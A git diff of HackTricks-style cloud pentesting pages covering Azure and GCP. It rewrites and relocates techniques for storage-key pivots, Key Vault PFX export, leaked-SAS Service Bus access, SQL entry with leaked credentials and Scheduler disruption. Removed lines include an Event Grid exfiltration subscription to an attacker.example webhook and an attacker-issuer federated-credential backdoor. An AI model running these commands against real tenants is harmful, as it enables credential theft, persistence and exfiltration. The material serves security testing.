`.table.cosmos.azure.com` -- Cassandra → `.cassandra.cosmos.azure.com` -- Gremlin → `.gremlin.cosmos.azure.com` -- MongoDB (vCore) → `.global.mongocluster.cosmos.azure.com` - -MicroBurst-style subdomain sweeps (`Invoke-EnumerateAzureSubDomains`) already carry `documents.azure.com` in their service list, so a base-name run surfaces Cosmos accounts alongside storage, Key Vault, and the rest. - -```bash -for suffix in documents.azure.com mongo.cosmos.azure.com table.cosmos.azure.com cassandra.cosmos.azure.com gremlin.cosmos.azure.com; do - nslookup ".$suffix" >/dev/null 2>&1 && echo "[+] .$suffix exists" -done -``` - ## References - [1] [Azure permissions for Databases](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/databases) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index 996ebe8a83..49ce7f7c30 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -36,12 +36,14 @@ Invoke-RestMethod -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure Enumerate and mint a token for **each** identity — one function often unlocks several. -### Pivot to the whole storage account via `AzureWebJobsStorage` +### Pivot through key-based host-storage settings -A non-containerized Function stores its code and data in a backing Storage account, and the `AzureWebJobsStorage` (and `WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`) app settings hold a **full-permission storage account key**, not a scoped SAS. Reading those settings (e.g. `az functionapp config appsettings list`, `Microsoft.Web/sites/config/list/action`, or from inside the function as env vars) hands you the entire storage account: every **blob/file/queue/table**, the ability to **mint SAS tokens**, and **soft-delete recovery** of previously deleted data. Treat it as owning the storage account. +When `AzureWebJobsStorage` or `WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` contains a **key-based storage connection string**, reading the setting (for example through `az functionapp config appsettings list`, `Microsoft.Web/sites/config/list/action`, or the function's environment) exposes the storage account key. That key can authorize access to the account's supported blob, file, queue, and table services and can sign account SAS tokens. The exact reach still depends on network controls and service configuration. + +This does **not** apply when host storage uses an identity-based configuration such as `AzureWebJobsStorage__accountName`/service URIs with `AzureWebJobsStorage__credential=managedidentity`, or when a setting is a Key Vault reference whose value the compromised identity cannot resolve.[[1]](#references) ```bash -# From the control plane: dump the settings holding the storage key +# Check whether the app uses key-based connection strings az functionapp config appsettings list --name --resource-group \ --query "[?name=='AzureWebJobsStorage' || name=='WEBSITE_CONTENTAZUREFILECONNECTIONSTRING']" @@ -54,4 +56,6 @@ az storage account generate-sas --connection-string " ## References +- [1] [App settings reference for Azure Functions](https://learn.microsoft.com/en-us/azure/azure-functions/functions-app-settings) + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index 040b252e1a..589d582a32 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -117,51 +117,15 @@ Allows a principal to recover a previously deleted key from an Azure Key Vault:< az keyvault key recover --vault-name --name ``` -### Certificate / PFX export to impersonate a service +### Export an exportable certificate/PFX to impersonate a service -A certificate stored in the vault often authenticates an application or service principal. The private key is exposed through the **secret backing the certificate**, so `certificates/get` plus `secrets/get` lets you **export the full PFX** (certificate + private key), which you can then reuse to authenticate *as* that service. An exported PFX is a standing credential that lives outside the vault's audit trail and Entra, and keeps working until the certificate is rotated or revoked: +An exportable certificate stored in the vault can authenticate an application or service principal. For an exportable certificate created or imported with a private key, the backing Key Vault secret contains the certificate and private key. A principal with permission to read that secret can download the PFX and reuse it until the certificate expires, is rotated, or is revoked. Non-exportable keys, including keys generated in or imported into a managed HSM, do not expose their private key this way.[[6]](#references)[[7]](#references) ```bash az keyvault secret download --vault-name --name \ --encoding base64 --file exported-cert.pfx ``` -### Offline object backups as a retention primitive - -The `backup` commands produce an **encrypted blob** you can keep and later `restore` — into the same vault or a different one you control — preserving a copy of the material even after the original is rotated, deleted, or purged. This turns transient data-plane read access into durable, offline retention of secrets, keys, and certificates: - -```bash -az keyvault secret backup --vault-name --name --file secret.backup -az keyvault key backup --vault-name --name --file key.backup -az keyvault certificate backup --vault-name --name --file cert.backup -``` - -### Backdoor data-plane principal - -Plant an attacker-controlled identity (a fresh service principal or a rarely-watched existing one) with **permanent data-plane rights**: on an access-policy vault add it to the **access policies**, or on an RBAC vault assign it a data role such as *Key Vault Secrets User* at the vault scope. It keeps reading secrets even after your interactive foothold is cleaned up: - -```bash -# Access-policy vault: add the principal to the vault's own policy list -az keyvault set-policy --name --object-id \ - --secret-permissions get list - -# RBAC vault: assign a data-plane role at vault scope -az role assignment create --assignee \ - --role "Key Vault Secrets User" \ - --scope "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" -``` - -### Event-driven exfiltration via Event Grid - -Key Vault emits **Event Grid** events (`Microsoft.KeyVault.SecretNewVersionCreated`, `Microsoft.KeyVault.KeyNewVersionCreated`, and near-expiry events). An Event Grid subscription pointed at an **attacker webhook** turns secret rotation into a continuous feed: you are notified the instant a fresh secret version lands (leaking its metadata), then pull it with your backdoor principal. It keeps paying out long after initial access: - -```bash -az eventgrid event-subscription create --name kv-exfil \ - --source-resource-id "/subscriptions//resourceGroups//providers/Microsoft.KeyVault/vaults/" \ - --endpoint https://attacker.example/webhook \ - --included-event-types Microsoft.KeyVault.SecretNewVersionCreated -``` - ## References - [1] [Azure permissions for Security - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/security) @@ -170,5 +134,6 @@ az eventgrid event-subscription create --name kv-exfil \ - [4] [az keyvault certificate](https://learn.microsoft.com/en-us/cli/azure/keyvault/certificate?view=azure-cli-lts) - [5] [Azure Key Vault recovery management with soft delete and purge protection](https://learn.microsoft.com/en-us/azure/key-vault/general/key-vault-recovery) - [6] [Azure Key Vault keys, secrets, and certificates overview](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates) +- [7] [Export certificates from Azure Key Vault](https://learn.microsoft.com/en-us/azure/key-vault/certificates/how-to-export-certificate) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 562878d90b..1e014e0e0f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -55,15 +55,6 @@ az storage message update --queue-name \ --auth-mode login ``` -### Message injection as a pivot into a downstream consumer's managed identity - -Queues commonly trigger **Function Apps, Container App Jobs, or Logic Apps**, each running under its own **managed identity**. With `.../messages/add/action` (enqueue) — or `.../messages/write` to alter an in-flight message — you place attacker-controlled content that the consumer will process. If that consumer treats a message as a **command, a file/URL to fetch, or data it deserializes** without validation, your payload runs **in the consumer's identity context**, escalating a mere data-plane queue write into code/logic execution under a different, often more-privileged, principal. Always ask *"who reads this queue, and how much do they trust it?"* — the value of the injection equals the privileges of the consumer. - -```bash -az storage message put --queue-name --account-name \ - --content '' --auth-mode login -``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` This permission allows an attacker to delete queues within the storage account. Deleting a queue also deletes the messages it contains.[[1]](#references)[[2]](#references)[[5]](#references)[[8]](#references) This can cause significant disruption to workflows and data loss for applications that rely on the affected queues, or sabotage services by removing essential components of the system. diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 6e03d616a4..0280a740ec 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -81,34 +81,6 @@ az servicebus topic subscription update --resource-group --n az servicebus topic subscription update --resource-group --namespace-name --topic-name --name --status Disabled ``` -### Off-tenant access via a leaked SAS connection string / token - -Service Bus has no anonymous API, but its SAS model means a **single leaked string is a complete, standalone credential**. A namespace **connection string** (`Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=;SharedAccessKey=`) or a bare `SharedAccessSignature` token found in a Git commit, CI/CD variable, mobile/desktop app, config file, or IaC artifact grants exactly the rights the underlying rule encodes (`Send`/`Listen`/`Manage`). Because the endpoint is a public, guessable DNS name (`.servicebus.windows.net`) reachable unless private-endpoint/selected-network rules apply, an attacker with **no tenant access at all** can send/receive directly over AMQP/HTTPS until the key is rotated or local auth is disabled — no Azure login required. - -```python -# Off-tenant: use a leaked namespace connection string to receive (steal) messages -import asyncio -from azure.servicebus.aio import ServiceBusClient # pip install azure-servicebus -CONN_STR = "Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=;SharedAccessKey=" -async def run(): - async with ServiceBusClient.from_connection_string(CONN_STR) as client: - async with client.get_queue_receiver(queue_name="", max_wait_time=5) as rx: - for msg in await rx.receive_messages(max_message_count=20, max_wait_time=5): - print("Received:", msg) - await rx.complete_message(msg) -asyncio.run(run()) -``` - -### Catch-all subscription rule for durable message siphoning - -With `subscriptions/write` (and the subscription `rules` write) on a busy topic, add a **new subscription with a catch-all (`1=1`) filter** so you keep receiving a **copy of every published message** for as long as the subscription exists — a durable read/exfil channel that blends in with legitimate subscribers and doesn't interfere with them. - -```bash -az servicebus topic subscription create -g --namespace-name --topic-name --name persist-sub -az servicebus topic subscription rule create -g --namespace-name --topic-name \ - --subscription-name persist-sub --name catchall --filter-sql-expression "1=1" -``` - ### Actions: `AuthorizationRules` Send and Receive Messages Take a look here: diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index c930f7fe2f..ed7bb0daa1 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -147,15 +147,6 @@ az sql db tde set \ --status ``` -### "Allow Azure services" = cross-tenant connect with leaked SQL creds - -There is no dedicated Azure SQL unauthenticated page, so this initial-entry vector is noted here. If a logical server has **Allow Azure services and resources to access this server = Enabled**, Azure adds a hidden firewall rule for `0.0.0.0` that permits traffic from **any Azure IP, in any tenant** — not just the victim's subscription. So with leaked SQL credentials an attacker doesn't need to open a firewall rule at all: spin up a VM in their **own** attacker tenant and connect from there. (A server-level firewall rule spanning `0.0.0.0`–`255.255.255.255` exposes the public endpoint to the whole internet the same way; `az sql server firewall-rule list` reveals both.) - -```bash -# From an attacker-controlled Azure VM in a different tenant, using leaked creds: -sqlcmd -S .database.windows.net -U -P -d -``` - ## References - [1] [Azure permissions for Databases - Azure RBAC](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/databases) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md index 678596dc55..abe32258f8 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md @@ -18,16 +18,6 @@ For more info about Virtual Desktop check the following page: - Techniques that apply to the underlying **Azure VMs** can also apply after compromising a session host. - A pooled host-pool session-host configuration can include a custom PowerShell script, and Azure documents running the configured script URL during deployment; control of that configuration or referenced script is therefore a code-execution and persistence path on newly deployed hosts.[[5]](#references)[[6]](#references) -### Inject a rogue session host via the registration token - -`Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action` returns a **Pooled host pool's registration token** — the credential the AVD agent uses to join a new VM as a session host. With it, an attacker can **register an attacker-controlled VM into the pool**. Because Pooled pools load-balance user sessions across their hosts, victims may be brokered onto **your** host, where you (as its local admin) capture their tokens, files, and cached credentials — a lateral/escalation path that never touches `roleAssignments/write`. - -```bash -az desktopvirtualization hostpool retrieve-registration-token \ - --name --resource-group -# then run the AVD agent installer on your VM with the returned token to join the pool -``` - ### Managed-identity token theft on the session host Every session host is an Azure VM, so once you have a shell (or `runCommand`/admin) on one, the highest-value primitive is **managed-identity token theft from IMDS**. The default system-assigned identity starts permission-less, but any rights granted to it — or to a user-assigned identity attached to the host — become yours: @@ -40,10 +30,6 @@ curl -H Metadata:true \ Combine with run-command, OS-disk snapshot access, and VNet/NSG network pivoting exactly as for any Azure VM. Landing on the host to inherit the VM's Azure reach is usually the real objective. -### FSLogix profile / personal-host persistence implant - -On a **Personal host** the user owns the OS disk, and Pooled users' data lives in **FSLogix profile containers** on a storage share. Planting persistence (autoruns, scheduled tasks, malicious profile logon scripts) inside the user profile or OS disk makes it **re-execute across sessions** — even on pooled hosts that recycle, because the FSLogix profile is re-mounted for the user on whichever host they land on. Reusing the session-host VM managed identities (a standing Azure credential reachable via IMDS) keeps a foothold on the hosts themselves. - ## References - [1] [Add and manage App Attach applications in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/app-attach-setup) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md index 49a8d59a67..1183612060 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md @@ -228,25 +228,6 @@ az ad app show --id --query "web.redirectUris" az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` -### Federated identity credential as a secretless backdoor - -Instead of adding a `passwordCredential` or `keyCredential` to a privileged app registration (which shows up as a secret/certificate that can be audited and rotated), an attacker with credential-write rights over the app can add a **federated identity credential (FIC)** that trusts an **attacker-controlled OIDC issuer** (or a workload the attacker already owns, such as a GitHub Actions repo). The app can then mint tokens for its service principal via the OIDC token-exchange (client-credentials with a JWT `client_assertion`) — with **no stored secret to rotate or discover**, making it a much quieter persistence credential than a password. FICs added to an SP don't surface like a portal secret, so cross-check them via the API. - -```bash -# Add a federated credential trusting an attacker-controlled issuer/subject -az ad app federated-credential create --id --parameters '{ - "name": "backdoor-fic", - "issuer": "https://attacker-controlled-oidc.example.com", - "subject": "repo:attacker/repo:ref:refs/heads/main", - "audiences": ["api://AzureADTokenExchange"] -}' - -# List existing federated credentials on an app (audit / confirm) -az ad app federated-credential list --id -``` - -The attacker's workload then presents a JWT signed by that issuer as `client_assertion` (with `client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer`) in a standard client-credentials flow against `https://login.microsoftonline.com//oauth2/v2.0/token` to obtain an access token as the service principal, inheriting all of its granted permissions. See [Microsoft Learn — Workload identity federation](https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation). - ### Applications Privilege Escalation **As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, default applications have historically been found with **API permissions** of type **`Application`** assigned to them. An API permission (as called in the Entra ID console) of type **`Application`** means that the application can access the API and perform actions without a user context (without a user logging into the app).[[7]](#references)[[8]](#references) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index dd6185cded..382ec69a22 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -67,6 +67,17 @@ az storage message update --queue-name \ --auth-mode login ``` +### Conditional escalation through a downstream consumer + +Queue messages often trigger Function Apps, Container App jobs, Logic Apps, or custom workers that run as a different managed identity. A principal with `messages/add/action` can supply new input; changing an existing message additionally requires its ID and current pop receipt plus `messages/write`. + +This becomes privilege escalation only when the downstream consumer unsafely treats attacker-controlled fields as commands, URLs/files to fetch, templates, or serialized objects. In that application-specific case, the injected input can cause actions to run with the consumer's identity. Queue write access alone does not grant that identity or guarantee code execution. + +```bash +az storage message put --queue-name --account-name \ + --content '' --auth-mode login +``` + ### DataAction: `Microsoft.Storage/storageAccounts/queueServices/queues/write` Azure's queue-operation authorization table maps `Microsoft.Storage/storageAccounts/queueServices/queues/write` to **Create Queue** and **Set Queue Metadata**. Queue ACL operations are separate: setting an ACL requires `Microsoft.Storage/storageAccounts/queueServices/queues/setAcl/action`, so ACL modification is not included in this permission.[[2]](#references)[[4]](#references) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md index 2f8e138d70..016f959acc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-desktop-privesc.md @@ -21,6 +21,10 @@ az desktopvirtualization hostpool retrieve-registration-token \ --resource-group ``` +The token is one prerequisite for registering a rogue session host, not a standalone bypass. The VM must also meet Azure Virtual Desktop requirements, including a supported OS, network access, and the host pool's identity model: session hosts must join the users' Microsoft Entra tenant or the applicable AD DS/Microsoft Entra Domain Services domain, and a host pool should not mix join types.[[7]](#references)[[8]](#references) + +If the attacker already controls a compliant VM and the necessary tenant/domain join path, registering it in a pooled host pool can cause users to be brokered to an attacker-administered host. This can expose session data and credentials in the host OS context. Without those prerequisites, possession of the registration token alone is insufficient. + ### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write > [!WARNING] @@ -49,5 +53,7 @@ For Microsoft Entra joined session hosts that aren't managed by a session host c - [4] [Built-in Azure RBAC roles for Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/rbac) - [5] [Role Assignments - Create By Id - REST API](https://learn.microsoft.com/en-us/rest/api/authorization/role-assignments/create-by-id?view=rest-authorization-2022-04-01) - [6] [Microsoft Entra joined session hosts in Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/azure-ad-joined-session-hosts) +- [7] [Prerequisites for Azure Virtual Desktop](https://learn.microsoft.com/en-us/azure/virtual-desktop/prerequisites) +- [8] [Add session hosts to a host pool](https://learn.microsoft.com/en-us/azure/virtual-desktop/add-session-hosts-host-pool) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md index 79f4bf405e..ffa4006786 100644 --- a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md @@ -21,15 +21,14 @@ az acr update --name --anonymous-pull-enabled true The `--anonymous-pull-enabled` setting is disabled by default. Once enabled, every repository in the registry becomes publicly readable, and anyone knowing its name can pull images from the `.azurecr.io` endpoint.[[1]](#references) -### Anonymous catalog & tag enumeration (OCI Registry v2 API) +### Anonymous pull and known-repository enumeration (OCI Registry v2 API) -When anonymous pull is enabled, the registry's **OCI Distribution v2 API** can be queried directly with no authentication to discover every repository and tag before pulling anything. `GET /v2/_catalog` lists the repositories and `GET /v2//tags/list` lists a repository's tags — so a registry name is all that's needed to map its entire content. +When anonymous pull is enabled, anyone can pull content from every repository in the registry. Given a repository name, the OCI Distribution v2 API can also be used to test access and enumerate its tags before pulling an image. -```bash -# List all repositories in the registry -curl -s "https://.azurecr.io/v2/_catalog" +Do **not** assume anonymous pull grants catalog listing. ACR treats repository catalog listing as a separate permission, and `GET /v2/_catalog` can be denied even while anonymously pulling a known repository succeeds.[[1]](#references)[[2]](#references) -# List the tags of a given repository +```bash +# List tags for a known repository curl -s "https://.azurecr.io/v2//tags/list" # Then pull an image anonymously (no docker login) @@ -50,5 +49,6 @@ docker pull .azurecr.io/: ## References - [1] [Microsoft Learn - Enable unauthenticated anonymous pull access in Azure Container Registry](https://learn.microsoft.com/en-us/azure/container-registry/anonymous-pull-access) +- [2] [Azure Container Registry roles and permissions](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md new file mode 100644 index 0000000000..4cb554c8ee --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cosmosdb-unauth.md @@ -0,0 +1,28 @@ +# Az - Cosmos DB Unauthenticated Enumeration + +{{#include ../../../banners/hacktricks-training.md}} + +## Discover candidate account endpoints through DNS + +Cosmos DB account or cluster names appear in public service endpoints. Candidate names can be generated from an organization's brands, domains, and naming conventions, then resolved against the suffixes used by each API: + +- NoSQL: `.documents.azure.com` +- MongoDB (RU): `.mongo.cosmos.azure.com` +- Table: `.table.cosmos.azure.com` +- Cassandra: `.cassandra.cosmos.azure.com` +- Gremlin: `.gremlin.cosmos.azure.com` +- MongoDB (vCore): `.global.mongocluster.cosmos.azure.com` + +```bash +for suffix in documents.azure.com mongo.cosmos.azure.com table.cosmos.azure.com cassandra.cosmos.azure.com gremlin.cosmos.azure.com; do + nslookup ".$suffix" >/dev/null 2>&1 && echo "[+] .$suffix resolves" +done +``` + +DNS resolution confirms that an endpoint exists, not that it belongs to the target tenant. Correlate the result with certificates, application configuration, leaked connection strings, or other target-specific evidence before attributing it. + +## References + +- [1] [Azure Cosmos DB service endpoints](https://learn.microsoft.com/en-us/azure/cosmos-db/account-databases-containers-items) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md new file mode 100644 index 0000000000..a2a1f2fa8d --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md @@ -0,0 +1,32 @@ +# Az - Service Bus Initial Entry with Leaked Credentials + +{{#include ../../../banners/hacktricks-training.md}} + +## Off-tenant access with a leaked SAS credential + +Azure Service Bus does not provide anonymous queue or topic access. However, a leaked connection string or precomputed Shared Access Signature (SAS) is a standalone data-plane credential and does not require an Azure sign-in. It grants only the `Send`, `Listen`, or `Manage` rights and entity scope encoded by its authorization rule.[[1]](#references) + +If public network access permits the connection and local/SAS authentication is enabled, the credential can be used from outside the victim tenant until the token expires or the underlying key is rotated: + +```python +import asyncio +from azure.servicebus.aio import ServiceBusClient # pip install azure-servicebus + +CONN_STR = "Endpoint=sb://.servicebus.windows.net/;SharedAccessKeyName=;SharedAccessKey=" + +async def run(): + async with ServiceBusClient.from_connection_string(CONN_STR) as client: + async with client.get_queue_receiver(queue_name="", max_wait_time=5) as receiver: + for message in await receiver.receive_messages(max_message_count=20, max_wait_time=5): + print(message) + +asyncio.run(run()) +``` + +Receiving without settling the message reduces destructive side effects, although even receiving can temporarily lock or hide messages depending on the receive mode. Network restrictions, disabled local authentication, and a rule without `Listen` rights prevent this example from working. + +## References + +- [1] [Shared Access Signatures for Azure Service Bus](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-sas) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md new file mode 100644 index 0000000000..e6ef7ed835 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md @@ -0,0 +1,24 @@ +# Az - SQL Unauthenticated Enumeration & Initial Entry + +{{#include ../../../banners/hacktricks-training.md}} + +## Public endpoint access with leaked SQL credentials + +If an Azure SQL logical server has **Allow Azure services and resources to access this server** enabled, Azure creates the special server firewall rule `0.0.0.0`. It permits connection attempts from Azure resources outside the victim's subscription and tenant. An attacker who already has valid SQL credentials can therefore connect from an attacker-controlled Azure resource without modifying the victim's firewall.[[1]](#references) + +```bash +# Run from an attacker-controlled Azure resource when the 0.0.0.0 rule is enabled. +sqlcmd -S .database.windows.net -U -P -d +``` + +This rule only creates a network path; it does not bypass SQL or Microsoft Entra authentication. Private endpoints, public-network-access settings, and other network controls can still prevent the connection. A conventional rule spanning `0.0.0.0` through `255.255.255.255` exposes the public endpoint to connection attempts from any IPv4 address. + +```bash +az sql server firewall-rule list --resource-group --server -o table +``` + +## References + +- [1] [Azure SQL Database and Azure Synapse Analytics network access controls](https://learn.microsoft.com/en-us/azure/azure-sql/database/network-access-controls-overview) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md new file mode 100644 index 0000000000..f53a168cff --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-scheduler-post-exploitation.md @@ -0,0 +1,21 @@ +# GCP - Cloud Scheduler Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## `cloudscheduler.jobs.pause` / `cloudscheduler.jobs.delete` - disruption + +Cloud Scheduler commonly drives batch pipelines, cleanup routines, backups, and certificate or token rotation. A principal with `cloudscheduler.jobs.pause` or `cloudscheduler.jobs.delete` can stop those downstream operations without code execution or `iam.serviceAccounts.actAs`.[[1]](#references)[[2]](#references) + +```bash +gcloud scheduler jobs pause --location= +gcloud scheduler jobs delete --location= --quiet +``` + +A paused job remains present and can be resumed. A deleted job must be recreated. These permissions cause disruption; by themselves they do not grant the identity used by the job and therefore are not privilege-escalation techniques. + +## References + +- [1] [Pause a Cloud Scheduler job](https://cloud.google.com/scheduler/docs/pause-resume-job) +- [2] [Access control with IAM for Cloud Scheduler](https://cloud.google.com/scheduler/docs/access-control) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md index b5e51a651c..5512f5f854 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md @@ -129,17 +129,6 @@ gcloud scheduler jobs run atk-sched-pub --location= > [!CAUTION] > A Pub/Sub job storing only `pubsubTarget.topicName` + base64 `data` (no credential of any kind) can be force-run; `AttemptFinished` reports success — the service agent publishes to the topic. The publishing identity is never the caller, so the caller's own Pub/Sub IAM on the topic is irrelevant. -### `cloudscheduler.jobs.delete` | `cloudscheduler.jobs.pause` — Disruption (DoS) - -Scheduler is frequently wired to real infrastructure work — batch pipelines, cleanup routines, backups, token/cert rotation. With `cloudscheduler.jobs.delete` or `cloudscheduler.jobs.pause` an attacker can **delete or pause** the jobs that drive that work, silently halting the downstream operations they depend on. This needs **no code execution and no `actAs`**, and is a low-noise post-exploitation disruption primitive. - -```bash -gcloud scheduler jobs pause --location= -gcloud scheduler jobs delete --location= --quiet -``` - -A paused job stops firing until explicitly resumed (`gcloud scheduler jobs resume`), while a deleted job is gone entirely — either way the downstream pipeline stalls with no obvious error at the target. - > [!NOTE] > **Who actually mints the token / publishes (mechanism).** All delivery-time impersonation and publishing is performed by the **Cloud Scheduler service agent** `service-@gcp-sa-cloudscheduler.iam.gserviceaccount.com` (role `roles/cloudscheduler.serviceAgent`, perms = `iam.serviceAccounts.getAccessToken` + `iam.serviceAccounts.getOpenIdToken` + `pubsub.topics.publish` + `logging.logEntries.create`/`route`). So an attacker **never needs `getOpenIdToken`/`getAccessToken` on the victim SA directly** for the OIDC/OAuth job paths — the enqueuing principal only needs `iam.serviceAccounts.actAs` on the target SA (for HTTP targets), and the Google-managed service agent performs the mint/publish at dispatch. The App Engine and Pub/Sub targets need **not even `actAs`**. As with Cloud Tasks, `roles/editor` bundles `cloudscheduler.jobs.create` + `iam.serviceAccounts.actAs`, making any Editor a full OIDC-token-minter for any project SA plus an actAs-free App Engine/Pub/Sub confused-deputy.